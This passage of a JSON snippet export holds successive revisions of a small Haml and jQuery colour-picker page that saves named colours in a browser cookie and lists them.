\"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.cookie('list')\r\n if(list == null){\r\n list = []\r\n }\r\n console.log(list)\r\n $(\"#save\").click(function(){\r\n list[$(\"#name\").val()] = $(\"#t1\").val()\r\n $.cookie('list', list, { expires: 30 });\r\n })","created_at":"2011-06-02T02:51:23.000Z","updated_at":"2011-06-02T02:51:23.000Z"},{"id":1667,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.cookie('list')\r\n if(list == null){\r\n list = []\r\n }\r\n console.log(list)\r\n $(\"#save\").click(function(){\r\n list[$(\"#name\").val()] = $(\"#t1\").val()\r\n console.log(list)\r\n $.cookie('list', list, { expires: 30 });\r\n })","created_at":"2011-06-02T02:51:57.000Z","updated_at":"2011-06-02T02:51:57.000Z"},{"id":1668,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.cookie('list')\r\n if(list == null || list == \"\"){\r\n list = []\r\n }\r\n console.log(list)\r\n $(\"#save\").click(function(){\r\n list[$(\"#name\").val()] = $(\"#t1\").val()\r\n console.log(list)\r\n $.cookie('list', list, { expires: 30 });\r\n })","created_at":"2011-06-02T02:52:47.000Z","updated_at":"2011-06-02T02:52:47.000Z"},{"id":1669,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.cookie('list')\r\n if(list == null || list == \"\"){\r\n list = {}\r\n }\r\n console.log(list)\r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n console.log(list)\r\n })\r\n","created_at":"2011-06-02T02:53:41.000Z","updated_at":"2011-06-02T02:53:41.000Z"},{"id":1670,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.cookie('list')\r\n if(list == null || list == \"\"){\r\n list = {}\r\n }\r\n console.log(list)\r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n console.log(list)\r\n $.cookie('list', list, { expires: 70 });\r\n })\r\n","created_at":"2011-06-02T02:54:14.000Z","updated_at":"2011-06-02T02:54:14.000Z"},{"id":1671,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.cookie('list')\r\n if(list == null || list == \"\"){\r\n list = {}\r\n }\r\n console.log(list)\r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', list, { expires: 70 });\r\n })\r\n","created_at":"2011-06-02T02:54:30.000Z","updated_at":"2011-06-02T02:54:30.000Z"},{"id":1672,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var json = $.cookie('list')\r\n if(json == null || json == \"\"){\r\n var list = {}\r\n }else{\r\n var list = $.parseJSON(json)\r\n }\r\n console.log(list)\r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n })\r\n","created_at":"2011-06-02T02:57:45.000Z","updated_at":"2011-06-02T02:57:45.000Z"},{"id":1673,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n console.log(list)\r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n })\r\n","created_at":"2011-06-02T02:59:36.000Z","updated_at":"2011-06-02T02:59:36.000Z"},{"id":1674,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='colot'\u003ename: \"+this+\"color: \"+list[this]+\"\u003c/p\u003e\")\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n })\r\n","created_at":"2011-06-02T03:03:50.000Z","updated_at":"2011-06-02T03:03:50.000Z"},{"id":1675,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='colot'\u003ename: \"+this+\" color: \"+list[this]+\"\u003c/p\u003e\")\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n })\r\n","created_at":"2011-06-02T03:04:01.000Z","updated_at":"2011-06-02T03:04:01.000Z"},{"id":1676,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='colot'\u003e\u003cb\u003ename:\u003c/b\u003e \"+this+\" \u003cb\u003ecolor:\u003c/b\u003e \u003cspan style='backgroud-color:\"+list[this]+\"'\u003e\"+list[this]+\"\u003c/span\u003e\u003c/p\u003e\")\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n })\r\n","created_at":"2011-06-02T03:04:50.000Z","updated_at":"2011-06-02T03:04:50.000Z"},{"id":1677,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cdiv class='color' style='background-color:\"+list[this]+\"'\u003e\u003cb\u003ename:\u003c/b\u003e \"+this+\" \u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003c/p\u003e\")\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n })\r\n","created_at":"2011-06-02T03:06:41.000Z","updated_at":"2011-06-02T03:06:41.000Z"},{"id":1678,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $(\"div.color\").remove()\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cdiv class='color' style='background-color:\"+list[this]+\"'\u003e\u003cb\u003ename:\u003c/b\u003e \"+this+\" \u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003c/p\u003e\")\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n initial(list)\r\n })\r\n","created_at":"2011-06-02T03:07:26.000Z","updated_at":"2011-06-02T03:07:26.000Z"},{"id":1679,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $(\"div.color\").remove()\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='color' \u003e\u003cb\u003ename:\u003c/b\u003e \"+this+\" \u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003cspan style='background-color:\"+list[this]+\"'\u003e      \u003c/span\u003e\u003c/p\u003e\")\r\n })\r\n $(\".color\").click(function(){\r\n $(this).remove()\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n initial(list)\r\n })\r\n","created_at":"2011-06-02T03:09:14.000Z","updated_at":"2011-06-02T03:09:14.000Z"},{"id":1680,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $(\"div.color\").remove()\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='color' color='\"+this[list]+\"'\u003e\u003cb\u003ename:\u003c/b\u003e \"+this+\" \u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003cspan style='background-color:\"+list[this]+\"'\u003e      \u003c/span\u003e\u003c/p\u003e\")\r\n })\r\n $(\".color\").click(function(){\r\n console.log($(this).attr(\"color\"))\r\n $(this).remove()\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n initial(list)\r\n })","created_at":"2011-06-02T03:10:21.000Z","updated_at":"2011-06-02T03:10:21.000Z"},{"id":1681,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $(\"div.color\").remove()\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='color' color='\"+this[list]+\"'\u003e\u003cb\u003ename:\u003c/b\u003e \"+this+\" 